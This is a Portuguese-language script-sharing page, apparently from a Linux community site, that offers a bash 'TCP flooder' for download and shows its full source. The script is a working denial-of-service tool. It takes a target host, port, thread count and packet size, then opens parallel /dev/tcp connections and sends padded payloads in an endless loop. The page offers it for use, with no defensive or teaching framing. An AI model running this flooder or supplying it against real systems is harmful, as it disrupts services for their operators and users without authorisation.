TCP Flooder

Publicado por Perfil removido (última atualização em 18/11/2013)

[ Hits: 5.396 ]

Download tcp-flood.bash




TCP flooder feito em Shell Script.

  



Esconder código-fonte

#!/bin/bash
# TCP Fl0OD3R 8y MMxM

error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}

help(){
name=$(basename $0)
cat <<_EXPLAIN

[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]

    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096

_EXPLAIN
exit;
}

flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}

[ "$1" ] || help;

while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done

[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;

echo >/dev/tcp/$target/$port || error

pack=$(printf %"$size"s |tr " " "M")

echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2

declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done

    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done

        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done

done

Scripts recomendados

TaskManeger

Organizador de Arquivos

Calculadora 1.0

Restaura gerenciador de boot grub

Script para módulo de bateria do GKrellm


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts